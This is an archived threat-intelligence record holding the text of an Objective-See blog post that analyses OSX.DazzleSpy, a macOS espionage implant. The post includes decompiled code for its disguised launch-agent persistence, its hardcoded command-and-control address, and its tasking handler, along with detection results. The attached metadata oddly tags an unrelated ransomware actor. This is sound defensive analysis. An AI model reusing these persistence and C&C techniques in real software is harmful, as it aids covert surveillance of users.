{
	"id": "5c6435ad-b691-461d-bb48-0219e1e0b345",
	"created_at": "2026-04-06T00:09:49.772972Z",
	"updated_at": "2026-04-10T03:30:33.22044Z",
	"deleted_at": null,
	"sha1_hash": "d8e4ec9f77581ae9e0a74b00652af0a4e5c0aeb3",
	"title": "Analyzing OSX.DazzleSpy",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4109235,
	"plain_text": "Analyzing OSX.DazzleSpy\r\nArchived: 2026-04-05 19:49:30 UTC\r\nAnalyzing OSX.DazzleSpy\r\nA fully-featured cyber-espionage macOS implant\r\nby: Patrick Wardle / January 25, 2022\r\nObjective-See's research, tools, and writing, are supported by the \"Friends of Objective-See\" such as:\r\n📝 👾 Want to play along?\r\nI’ve uploaded an OSX.DazzleSpy sample (password: infect3d) to our macOS malware collection.\r\n...please don’t infect yourself!\r\nBackground\r\nRecently (as in this morning), researchers Marc-Etienne M.Léveillé and Anton Cherepanov of ESET published an\r\nintriguing report titled, “Watering hole deploys new macOS malware, DazzleSpy, in Asia”:\r\nIn this excellent report, they detail both the exploit and macOS payload used to target pro-democracy users in\r\nHong Kong:\r\n\"[A] Hong Kong pro-democracy radio station website [was] compromised to serve a Safari exploit that\r\ninstalled cyberespionage malware on site visitors' Macs. Here we provide a breakdown of the WebKit\r\nhttps://objective-see.com/blog/blog_0x6D.html\r\nPage 1 of 12\n\nexploit used to compromise Mac users and an analysis of the payload, which is a new malware family\r\ntargeting macOS.\" -ESET\r\nI was interested in digging a bit deeper into the macOS implant, as well as seeing how it stacked up against\r\nObjective-See’s free open-source tools.\r\n📚 Interested in general Mac malware analysis techniques?\r\nTriage\r\nESET’s report provided a hash for the decrypted macOS implant, OSX.DazzleSpy :\r\nEE0678E58868EBD6603CC2E06A134680D2012C1B\r\nThey noted that this file is dropped by the Safari exploit (and persisted on disk as softwareupdate ).\r\nPopping over to VirusTotal, we can grab a copy of DazzleSpy:\r\nDazzleSpy ...on VirusTotal\r\nIt was first submitted to VirusTotal on 2022-01-26 and at that time, only detected by ESET.\r\nUsing macOS’ built-in file utility, we can see that this item is a standard mach-O binary:\r\n% file DazzleSpy/softwareupdate\r\nsoftwareupdate: Mach-O 64-bit executable x86_64\r\nAs its not compiled for arm64, it will not run natively on Apple’s new M1 chips. Of course, thanks to Rosetta2\r\n(Apple’s intel -\u003e arm “translator”), the malware will still likely run on such systems.\r\nhttps://objective-see.com/blog/blog_0x6D.html\r\nPage 2 of 12\n\nVia WhatsYourSign , my open-source utility that displays code-signing information via the UI, we can see that the\r\nmalware is unsigned:\r\nDazzleSpy ...is unsigned\r\nThe ESET report, notes that the exploit will \"remove the com.apple.quarantineattribute from the file [malware] to\r\navoid [macOS] asking the user to confirm the launch of the unsigned executable\"\r\nNow let’s run the strings utility to extracted any embedded (ASCII) strings:\r\n% strings - DazzleSpy/softwareupdate\r\n...\r\nnetworksetup -listallhardwareports\r\n/Library/.local\r\ncsrutil status\r\nSystem Integrity Protection status: disabled.\r\nIOPlatformUUID\r\nIOPlatformSerialNumber\r\nProductVersion\r\nAsia/Shanghai\r\n...\r\n88.218.192.128:5633\r\n...\r\nhttps://objective-see.com/blog/blog_0x6D.html\r\nPage 3 of 12\n\n%@/.local\r\n%@/softwareupdate\r\n%@/Library/LaunchAgents\r\n/com.apple.softwareupdate.plist\r\nlaunchctl unload %@\r\nRunAtLoad\r\nKeepAlive\r\ndumpKeychain\r\n.local/security/keystealDaemon\r\ndocx\r\nxltx\r\npptx\r\n...\r\npages\r\nnumbers\r\ntext\r\n%@/.local/SearchFiles\r\n+[Singleton installDaemon]\r\n-[Singleton shellClass]\r\n-[Singleton processClass]\r\n-[Singleton keychainClass]\r\n-[Singleton remoteDesktopClass]\r\n-[Singleton updateClass]\r\n-[Singleton fileClass]\r\n-[Singleton fileClassWriteData:]\r\n-[Singleton recoveryClass]\r\n/Users/wangping/pangu/create_source/poke/osxrk_commandLine/exec.m\r\n/Users/wangping/pangu/create_source/poke/osxrk_commandLine/exec.o\r\n...\r\nThe output from strings is rather telling and includes:\r\nWhat appears to be survey API calls and strings: listallhardwareports , IOPlatformSerialNumber , etc.\r\nAn embedded address, 88.218.192.128:5633 likely the malware’s C\u0026C server.\r\nStrings related to launch item persistence: %@/Library/LaunchAgents ,\r\n/com.apple.softwareupdate.plist , RunAtLoad , etc.\r\nStrings that appear to be related to dumping the user keychain, searching for files (via extension), etc. etc.\r\nhttps://objective-see.com/blog/blog_0x6D.html\r\nPage 4 of 12\n\nObjective-C class and method names (such as a Singleton class with references to other interesting\r\nclasses).\r\nPaths containing a user name, and perhaps the internal name of the malware ( osxrk ).\r\nWe can also run macOS’ otool command with the -L flag to determine the dynamic libraries that DazzleSpy is\r\nlinked against:\r\n% otool -L DazzleSpy/softwareupdate\r\nsoftwareupdate:\r\n /System/Library/Frameworks/VideoToolbox.framework/Versions/A/VideoToolbox\r\n /System/Library/Frameworks/AVFoundation.framework/Versions/A/AVFoundation\r\n /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit\r\n /System/Library/Frameworks/CoreWLAN.framework/Versions/A/CoreWLAN\r\n ...\r\n /System/Library/Frameworks/CFNetwork.framework/Versions/A/CFNetwork\r\n /System/Library/Frameworks/CoreMedia.framework/Versions/A/CoreMedia\r\n /System/Library/Frameworks/Security.framework/Versions/A/Security\r\n /System/Library/Frameworks/CoreVideo.framework/Versions/A/CoreVideo\r\nBased on the linked libraries, we can gain some likely insight into the malware’s capabilities. For example, it links\r\nagain the AVFoundation framework to implement remote desktop (RDP) capabilities.\r\nFinally, as we saw various Objective-C classes and methods names in the output from strings , lets run\r\nreconstruct these via class-dump . Abridged output is below:\r\n% class-dump DazzleSpy/softwareupdate\r\n...\r\n@interface Exec : NSObject\r\n{\r\n}\r\n+ (id)doShellInCmd:(id)arg1;\r\n@end\r\n@interface Singleton : NSObject\r\n{\r\n ...\r\n}\r\n+ (void)installDaemon;\r\n...\r\n@end\r\n@interface FileSearchClassObject : NSObject\r\nhttps://objective-see.com/blog/blog_0x6D.html\r\nPage 5 of 12\n\n{\r\n NSTask *_searchTask;\r\n NSMutableString *_searchString;\r\n NSDictionary *_searchDict;\r\n ...\r\n}\r\n...\r\n- (void)searchFile:(id)arg1;\r\n...\r\n@end\r\n@interface RemoteDesktopClassObject : NSObject\r\n{\r\n AVCaptureSession *captureSession;\r\n AVCaptureConnection *connectionVideo;\r\n H264EncodeTool *_h264Encoder;\r\n MouseClassObject *_mouse;\r\n}\r\n...\r\n- (void)restartRDP;\r\n- (void)mouseEventDict:(id)arg1;\r\n- (void)stopRemoteDesktop;\r\n- (void)startRemoteDesktop:(CDUnknownBlockType)arg1;\r\n- (void)captureOutput:(id)arg1 didOutputSampleBuffer:(struct opaqueCMSampleBuffer *)arg2 fromConnecti\r\n@end\r\n@interface KeychainClassObject : NSObject\r\n{\r\n}\r\n+ (void)unzipFile:(id)arg1 toPath:(id)arg2;\r\n- (id)getPasswordFromSecKeychainItemRef:(struct __SecKeychainItem *)arg1;\r\n- (id)getPass:(id)arg1 cmdTo:(id)arg2;\r\n...\r\n@end\r\nSimply from these class and method names, we can gain significant insight into the malware’s likely capabilities.\r\nOf course, we should confirm that the class/method names do indeed match their logic. For example, does the\r\ninstallDaemon really persist the malware? …let’s find out!\r\nPersistence\r\nThe ESET researchers noted:\r\nhttps://objective-see.com/blog/blog_0x6D.html\r\nPage 6 of 12\n\n\"In order to persist on the compromised device, the malware adds a Property List file ... named\r\ncom.apple.softwareupdate.plist to the LaunchAgents folder. The malware executable file is named\r\nsoftwareupdate and saved in the $HOME/.local/ folder.\" -ESET\r\nRecall that from the strings output, we saw strings such as %@/Library/LaunchAgents and\r\ncom.apple.softwareupdate.plist .\r\nIn a disassembler, we find cross-references to these strings in the aforementioned installDaemon method (of the\r\nclass named Singleton ):\r\n 1/* @class Singleton */\r\n 2+(void)installDaemon {\r\n 3...\r\n 4\r\n 5rax = NSHomeDirectory();\r\n 6var_78 = [NSString stringWithFormat:@\"%@/Library/LaunchAgents\", rax];\r\n 7var_80 = [var_78 stringByAppendingFormat:@\"/com.apple.softwareupdate.plist\"];\r\n 8if ([var_70 fileExistsAtPath:var_78] == 0x0) {\r\n 9 [var_70 createDirectoryAtPath:var_78 withIntermediateDirectories:0x1 ...];\r\n10...\r\n11\r\n12var_90 = [[NSMutableDictionary alloc] init];\r\n13var_98 = [[NSMutableArray alloc] init];\r\n14[var_98 addObject:var_38];\r\n15[var_98 addObject:@\"1\"];\r\n16rax = @(YES);\r\n17[var_90 setObject:rax forKey:@\"RunAtLoad\"];\r\n18rax = @(YES);\r\n19[var_90 setObject:rax forKey:@\"KeepAlive\"];\r\n20rax = @(YES);\r\n21[var_90 setObject:rax forKey:@\"SuccessfulExit\"];\r\n22[var_90 setObject:@\"com.apple.softwareupdate\" forKey:@\"Label\"];\r\n23[var_90 setObject:var_98 forKey:@\"ProgramArguments\"];\r\n24\r\n25[var_90 writeToFile:var_80 atomically:0x0];\r\nIn the above decompilation, we first see the malware build the path to a launch agent plist\r\n( ~/Library/LaunchAgents/com.apple.softwareupdate.plist ).\r\nThen, it initializes a dictionary for the launch agent plist, with various key value pairs ( RunAtLoad , etc). Once\r\ninitialized this dictionary is written out to the launch agent plist ( com.apple.softwareupdate.plist ).\r\nWe can passively observe the malware (recall, named softwareupdate ) dynamically creating this plist via a File\r\nMonitor:\r\nhttps://objective-see.com/blog/blog_0x6D.html\r\nPage 7 of 12\n\n# FileMonitor.app/Contents/MacOS/FileMonitor -pretty\n...\n{\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_CREATE\",\n \"file\" : {\n \"destination\" : \"/Users/user/Library/LaunchAgents/com.apple.softwareupdate.plist\",\n\n\"process\" : {\n \"signing info (computed)\" : {\n \"signatureStatus\" : -67062\n },\n \"uid\" : 501,\n \"arguments\" : [\n \"/Users/user/Desktop/softwareupdate\"\n ],\n \"path\" : \"/Users/user/Desktop/softwareupdate\",\n \"pid\" : 1469\n }\n }\n}\nOnce the malware’s launch agent’s plist has been created, we can easily dump its contents:\n% cat /Users/user/Library/LaunchAgents/com.apple.softwareupdate.plist\n?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\nUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\nKeepAliveLabelcom.apple.softwareupdateProgramArguments/Users/user/.local/softwareupdate1RunAtLoadSuccessfulExit https://objective-see.com/blog/blog_0x6D.html\nPage 8 of 12\n\nIn the ProgramArguments key we can see the path to the persistent location of the malware:\r\n~/.local/softwareupdate . Also, as the RunAtLoad key is set to true , the malware will be automatically\r\nrestarted each time the user logs in. Persistence achieved!\r\nC\u0026C Communications and Capabilities\r\nThe ESET report notes that the malware will connect to 88.218.192.128 on port 5633 :\r\n\"DazzleSpy connects to a hardcoded C\u0026C server; the IP address and port found in the sample we\r\ndecrypted was 88.218.192[.]128:5633.\" -ESET\r\nRecall that we saw this ip address/port in the output of strings , meaning that it is directly hardcoded into the\r\nmalware. In a disassembler, we can see it is referenced in the malware’s main method:\r\n 1int _main(int arg0, int arg1) {\r\n 2 ...\r\n 3 commandAndControl = [[NSString alloc] initWithUTF8String:\"88.218.192.128:5633\"];\r\n 4\r\n 5\r\n 6 singleton = [Singleton sharedInstance];\r\n 7\r\n 8 var_40 = [commandAndControl componentsSeparatedByString:@\":\"];\r\n 9 if ([var_40 count] == 0x2) {\r\n10 ip = [var_40 objectAtIndexedSubscript:0x0];\r\n11 port = [var_40 objectAtIndexedSubscript:0x1];\r\n12 }\r\n13\r\n14 [singleton setSocketHost:ip];\r\n15 [singleton setSocketPort:port];\r\n16\r\n17 ...\r\nSpecifically the hardcoded ip address and port string is first split (on : ), and then the ip address is passed to the\r\nsetSocketHost: method, while the port, to the setSocketPort: method.\r\nThe ESET report also describes the tasking (remote) commands that DazzleSpy supports. This includes everything\r\nyou’d expect to find in a cyber-espionage implant, including surveying the infected host, exfiltrating files, running\r\ncommands, self-deletion.\r\nInterestingly, the malware (again, as noted by ESET), also supports more advanced features such as:\r\nThe ability to search for files (via regex?)\r\nThe ability to start fully interactive remote desktop (RDP) session\r\nThe ability to dump the keychain (on systems vulnerable to CVE-2019-8526 ).\r\nhttps://objective-see.com/blog/blog_0x6D.html\r\nPage 9 of 12\n\nThe handling of remote commands (tasking) seems to be implemented in the analysisData: Socket: method.\r\nHere the malware looks for tasking commands from the command and control server, and then acts upon them.\r\nFor example, here’s the decompilation of the run command, which opens (“runs”) a specified file (“path”) via\r\nits default handler (via NSWorkspace ’s’ openFile API):\r\n1if (YES == [command isEqualToString:@\"run\"]) {\r\n2 path = [var_888 objectForKeyedSubscript:@\"path\"];\r\n3 ...\r\n4 [NSWorkspace.sharedWorkspace openFile:path];\r\n5}\r\nDazzleSpy vs. Objective-See\r\nWhenever a new piece of malware is uncovered I like to see how Objective-See’s free open-source tools stack up.\r\nGood news (and no really no surprise) they are able to detect and thus thwart this new threat, even with no a priori\r\nknowledge of it! 😍\r\nRecall that when the malware was uploaded to VirusTotal (by ESET?), ESET was the only AV engine to detect it!\r\nFirst, BlockBlock detects the malware’s launch agent persistence ( com.apple.softwareupdate.plist ):\r\nBlockBlock alert\r\nLuLu, our free, open-source firewall detects when the malware attempts to connect out to its command and\r\ncontrol server ( 88.218.192.128 ) for tasking:\r\nhttps://objective-see.com/blog/blog_0x6D.html\r\nPage 10 of 12\n\nLuLu alert\r\nAnd if you’re worried that you are already infected, KnockKnock can uncover the malware’s persistence (after the\r\nfact):\r\nKnockKnock detection\r\nConclusions\r\nIn this blog post, we dove into OSX.DazzleSpy a rather feature complete cyber-espionage macOS implant\r\n(discovered by ESET).\r\nhttps://objective-see.com/blog/blog_0x6D.html\r\nPage 11 of 12\n\nSpecifically we discussed:\r\nHow to triage the sample\r\nHow the malware persisted\r\nThe malware’s remote tasking/capabilities.\r\nFinally, we showed that if you were running Objective-See’s free macOS tools the malware wouldn’t have stood a\r\nchance! 😁\r\nMahalo again to Marc-Etienne and Anton for their excellent report! 🙏🏽\r\n💕 Support Me:\r\nLove these blog posts? You can support them via my Patreon page!\r\nSource: https://objective-see.com/blog/blog_0x6D.html\r\nhttps://objective-see.com/blog/blog_0x6D.html\r\nPage 12 of 12",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x6D.html"
	],
	"report_names": [
		"blog_0x6D.html"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434189,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/d8e4ec9f77581ae9e0a74b00652af0a4e5c0aeb3.pdf",
		"text": "https://archive.orkl.eu/d8e4ec9f77581ae9e0a74b00652af0a4e5c0aeb3.txt",
		"img": "https://archive.orkl.eu/d8e4ec9f77581ae9e0a74b00652af0a4e5c0aeb3.jpg"
	}
}